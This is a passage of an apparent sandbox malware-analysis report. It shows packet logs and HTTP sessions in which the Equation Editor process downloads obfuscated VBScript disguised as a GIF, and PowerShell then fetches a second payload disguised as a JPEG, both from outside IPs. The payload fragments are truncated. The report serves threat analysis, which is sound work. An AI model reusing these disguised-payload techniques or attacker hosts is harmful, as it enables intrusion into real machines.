Jul 26, 2024 15:25:07.029206991 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.029238939 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.029501915 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.029511929 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.029522896 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.029532909 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.029541969 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.029545069 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.029565096 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.030111074 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.030121088 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.030132055 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.030143023 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.030148029 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.030153990 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.030164957 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.030169964 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.030179977 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.030190945 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.030200005 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.030203104 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.030214071 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.030219078 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.030245066 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.030253887 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.030263901 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.030292034 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.030436993 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.030447960 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.030458927 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.030469894 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.030474901 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.030481100 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.030492067 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.030500889 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.030502081 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.030514002 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.030523062 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.030524015 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.030534983 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.030545950 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.030550003 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.030556917 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.030564070 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.030567884 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.030585051 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.031220913 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.031234026 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.031265974 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.031307936 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.031320095 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.031331062 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.031347036 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.031511068 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.031521082 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.031531096 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.031542063 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.031549931 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.031563044 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.031574011 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.031574965 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.031584978 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.031610966 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.032386065 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.032397985 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.032408953 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.032419920 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.032423973 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.032430887 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.032440901 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.032448053 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.032452106 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.032466888 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.032538891 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.032572985 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.032573938 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.032583952 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.032613039 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.032737017 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.032749891 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.032761097 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.032773018 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.032778025 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.032804012 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.032953024 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.032964945 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.032998085 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.108020067 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.108046055 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.108056068 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.108095884 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.108285904 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.108298063 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.108309031 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.108319998 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.108330011 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.108340025 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.108357906 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.111618996 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.111643076 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.111654997 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.111706018 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.111846924 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.111856937 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.111866951 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.111877918 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.111892939 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.112134933 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.112144947 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.112154007 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.112164021 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.112169981 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.112174034 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.112190962 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.112633944 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.112643957 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.112653971 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.112664938 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.112670898 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.112673998 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.112684965 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.112694979 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.112694979 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.112704992 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.112706900 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.112715960 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.112725019 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.112735987 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.112740040 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.112747908 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.112750053 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.113620996 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.113632917 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.113647938 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.113656998 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.113662004 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.113667011 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.113672018 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.113677979 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.113682985 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.113692999 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.113698959 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.113709927 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.113718987 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.113739014 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.113759995 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.114689112 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.114703894 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.114713907 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.114725113 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.114733934 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.114744902 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.114752054 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.114753962 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.114764929 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.114768028 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.114774942 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.114784956 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.114794970 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.114797115 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.114804983 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.114813089 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.114830017 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.115348101 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.115358114 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.115367889 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.115377903 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.115386963 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.115397930 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.115400076 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.115416050 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.115457058 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.115467072 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.115478039 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.115488052 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.115498066 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.115499973 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.115506887 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.115526915 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.116267920 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.116280079 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.116287947 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.116297960 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.116307974 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.116317987 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.116322994 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.116328001 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.116334915 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.116338015 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.116348028 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.116353035 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.116358995 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.116369009 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.116379976 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.116381884 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.116389990 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.116395950 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.116400957 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.116410971 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.116415024 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.116421938 CEST	80	49165	192.3.176.174	192.168.2.22
Jul 26, 2024 15:25:07.116439104 CEST	49165	80	192.168.2.22	192.3.176.174
Jul 26, 2024 15:25:07.252836943 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:07.252957106 CEST	49165	80	192.168.2.22	192.3.176.174

HTTP Request Dependency Graph

192.3.176.174

198.46.176.133

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49163	192.3.176.174	80	1200	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 15:24:58.390985012 CEST	333	OUT	GET /60/creatednewwaterbottleforme.gIF HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 192.3.176.174 Connection: Keep-Alive
Jul 26, 2024 15:24:58.887238026 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 13:24:58 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 Last-Modified: Fri, 26 Jul 2024 05:56:01 GMT ETag: "667e4-61e202a894788" Accept-Ranges: bytes Content-Length: 419812 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: image/gif Data Raw: ff fe 64 00 69 00 6d 00 20 00 70 00 6c 00 61 00 74 00 69 00 6e 00 61 00 6d 00 69 00 6e 00 61 00 20 00 0d 00 0a 00 70 00 6c 00 61 00 74 00 69 00 6e 00 61 00 6d 00 69 00 6e 00 61 00 20 00 3d 00 20 00 6d 00 65 00 6c 00 65 00 61 00 6e 00 74 00 65 00 0d 00 0a 00 61 00 63 00 6f 00 76 00 61 00 72 00 28 00 22 00 6d 00 61 00 72 00 61 00 6e 00 68 00 61 00 72 00 22 00 29 00 20 00 26 00 20 00 70 00 6c 00 61 00 74 00 69 00 6e 00 61 00 6d 00 69 00 6e 00 61 00 20 00 26 00 20 00 5f 00 0d 00 0a 00 61 00 63 00 6f 00 76 00 61 00 72 00 28 00 22 00 64 00 72 00 75 00 70 00 61 00 22 00 29 00 20 00 26 00 20 00 70 00 6c 00 61 00 74 00 69 00 6e 00 61 00 6d 00 69 00 6e 00 61 00 20 00 26 00 20 00 5f 00 0d 00 0a 00 61 00 63 00 6f 00 76 00 61 00 72 00 28 00 22 00 69 00 6e 00 64 00 69 00 67 00 65 00 6e 00 61 00 74 00 6f 00 22 00 29 00 20 00 26 00 20 00 70 00 6c 00 61 00 74 00 69 00 6e 00 61 00 6d 00 69 00 6e 00 61 00 20 00 26 00 20 00 5f 00 0d 00 0a 00 61 00 63 00 6f 00 76 00 61 00 72 00 28 00 22 00 6d 00 75 00 6c 00 68 00 65 00 [TRUNCATED] Data Ascii: dim platinamina platinamina = meleanteacovar("maranhar") & platinamina & _acovar("drupa") & platinamina & _acovar("indigenato") & platinamina & _acovar("mulherinha") & platinamina & _acovar("X_HelpUris_005_0_Message") & platinamina & _acovar("antro") & platinamina & _acovar("mascarada") & platinamina & _acovar("X_HelpUris_008_0_Message") & platinamina & _acovar("X_HelpUris_009_0_Message") & platinamina & _acovar("X_HelpUris_010_0_Mess
Jul 26, 2024 15:24:58.888082981 CEST	1236	IN	Data Raw: 61 00 67 00 65 00 22 00 29 00 20 00 26 00 20 00 70 00 6c 00 61 00 74 00 69 00 6e 00 61 00 6d 00 69 00 6e 00 61 00 20 00 26 00 20 00 5f 00 0d 00 0a 00 61 00 63 00 6f 00 76 00 61 00 72 00 28 00 22 00 4c 00 5f 00 48 00 65 00 6c 00 70 00 55 00 72 00 Data Ascii: age") & platinamina & _acovar("L_HelpUris_011_0_Message") & platinamina & _acovar("L_HelpUris_012_0_Message") & platin
Jul 26, 2024 15:24:58.888094902 CEST	1236	IN	Data Raw: 0a 00 61 00 63 00 6f 00 76 00 61 00 72 00 28 00 22 00 4c 00 5f 00 48 00 65 00 6c 00 70 00 55 00 72 00 69 00 73 00 5f 00 30 00 31 00 35 00 5f 00 36 00 5f 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 22 00 29 00 20 00 26 00 20 00 70 00 6c 00 61 00 Data Ascii: acovar("L_HelpUris_015_6_Message") & platinamina & _acovar("L_HelpUris_015_7_Message") & platinamina & _acovar("X_Hel
Jul 26, 2024 15:24:58.891074896 CEST	1236	IN	Data Raw: 63 00 68 00 65 00 73 00 5f 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 22 00 29 00 0d 00 0a 00 0d 00 0a 00 64 00 69 00 6d 00 20 00 70 00 6c 00 61 00 74 00 69 00 6e 00 61 00 6d 00 69 00 6e 00 61 00 45 00 45 00 20 00 0d 00 0a 00 70 00 6c 00 61 00 Data Ascii: ches_Message")dim platinaminaEE platinaminaE = meleanteacovar("L_HelpAlias_001_0_Message") & platinaminaE & _a
Jul 26, 2024 15:24:58.891088009 CEST	1236	IN	Data Raw: 45 00 20 00 26 00 20 00 5f 00 0d 00 0a 00 61 00 63 00 6f 00 76 00 61 00 72 00 28 00 22 00 4c 00 5f 00 48 00 65 00 6c 00 70 00 41 00 6c 00 69 00 61 00 73 00 5f 00 30 00 31 00 31 00 5f 00 30 00 5f 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 22 00 Data Ascii: E & _acovar("L_HelpAlias_011_0_Message") & platinaminaE & _acovar("x_HelpAlias_012_0_Message") & platinaminaE & _aco
Jul 26, 2024 15:24:58.895287991 CEST	1236	IN	Data Raw: 48 00 65 00 6c 00 70 00 41 00 6c 00 69 00 61 00 73 00 5f 00 30 00 30 00 34 00 5f 00 30 00 5f 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 22 00 29 00 20 00 26 00 20 00 65 00 70 00 6c 00 61 00 74 00 69 00 6e 00 61 00 6d 00 69 00 6e 00 61 00 45 00 Data Ascii: HelpAlias_004_0_Message") & eplatinaminaE & _acovar("X_HelpAlias_005_0_Message") & eplatinaminaE & _acovar("X_HelpAlia
Jul 26, 2024 15:24:58.895301104 CEST	1236	IN	Data Raw: 63 00 6f 00 76 00 61 00 72 00 28 00 22 00 58 00 5f 00 48 00 65 00 6c 00 70 00 41 00 6c 00 69 00 61 00 73 00 5f 00 30 00 31 00 35 00 5f 00 30 00 5f 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 22 00 29 00 20 00 26 00 20 00 65 00 70 00 6c 00 61 00 Data Ascii: covar("X_HelpAlias_015_0_Message") & eplatinaminaE & _acovar("cubelo") & eplatinaminaE & _acovar("rabiscar") & eplatin
Jul 26, 2024 15:24:58.901352882 CEST	1236	IN	Data Raw: 6f 00 76 00 61 00 72 00 28 00 22 00 58 00 5f 00 48 00 65 00 6c 00 70 00 41 00 6c 00 69 00 61 00 73 00 5f 00 30 00 30 00 38 00 5f 00 30 00 5f 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 22 00 29 00 20 00 26 00 20 00 6f 00 65 00 70 00 6c 00 61 00 Data Ascii: ovar("X_HelpAlias_008_0_Message") & oeplatinaminaE & _acovar("X_HelpAlias_009_0_Message") & oeplatinaminaE & _acovar("
Jul 26, 2024 15:24:58.901367903 CEST	1236	IN	Data Raw: 20 00 22 00 43 00 61 00 6e 00 20 00 62 00 65 00 20 00 65 00 78 00 65 00 63 00 75 00 74 00 65 00 64 00 20 00 6f 00 6e 00 6c 00 79 00 20 00 62 00 79 00 20 00 63 00 73 00 63 00 72 00 69 00 70 00 74 00 2e 00 65 00 78 00 65 00 2e 00 22 00 0d 00 0a 00 Data Ascii: "Can be executed only by cscript.exe."private const L_UNKOPNM_Message = "Unknown operation name: "private con
Jul 26, 2024 15:24:58.901379108 CEST	1236	IN	Data Raw: 72 00 20 00 68 00 65 00 6c 00 70 00 2e 00 22 00 0d 00 0a 00 70 00 72 00 69 00 76 00 61 00 74 00 65 00 20 00 63 00 6f 00 6e 00 73 00 74 00 20 00 4c 00 5f 00 48 00 45 00 4c 00 50 00 5f 00 47 00 65 00 6e 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 Data Ascii: r help."private const L_HELP_GenMessage = "Type ""winrm -?"" for help."private const L_ScriptNameNotFound_Erro
Jul 26, 2024 15:24:58.901388884 CEST	1236	IN	Data Raw: 5f 00 55 00 52 00 49 00 5a 00 45 00 52 00 4f 00 5f 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 3d 00 20 00 22 00 55 00 52 00 49 00 20 00 69 00 73 00 20 00 30 00 20 00 6c 00 65 00 6e 00 67 00 Data Ascii: _URIZERO_Message = "URI is 0 length" private const L_URIZEROTOK_Message = "Invalid URI, token is 0 lengt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49164	198.46.176.133	80	3208	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 15:25:03.185389996 CEST	79	OUT	GET /Upload/vbs.jpeg HTTP/1.1 Host: 198.46.176.133 Connection: Keep-Alive
Jul 26, 2024 15:25:03.702450991 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 13:25:03 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Wed, 10 Jul 2024 11:19:54 GMT ETag: "1d7285-61ce2d35c4b0c" Accept-Ranges: bytes Content-Length: 1929861 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: image/jpeg Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 03 04 01 02 05 00 06 07 08 ff c4 00 55 10 00 02 02 01 03 02 04 03 05 06 03 05 06 02 01 15 01 02 03 11 00 04 12 21 31 41 05 13 22 51 61 71 81 06 14 32 91 a1 07 23 42 b1 c1 d1 52 62 f0 15 72 82 92 e1 24 33 a2 b2 d2 f1 16 43 53 c2 08 34 63 17 25 35 36 73 93 e2 26 44 83 54 74 b3 c3 18 a3 d3 ff c4 00 14 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: JFIFC $.' ",#(7),01444'9=82<.342C2!!222222222222222222222222222222222222222222222222228"U!1A"Qaq2#BRbr$3CS4c%56s&DTt?~5sRM9RWhco#4q7[B6v^Tgc"TY_xWeXBX50xFs,/Qcq2lyoT^=ofRGZ>(O5ceu;XG8s!u_.?,~XW!?$[8j=>gA>jz[WX)jO:q3n3VmmPo.TzccJAV9gp4;p7!vS~B]b#vo.%6i!?5<IOK~klm(=B,xGU5Pay'rErv^uYt70ur$UxA-OF9>uI^O^gy4A
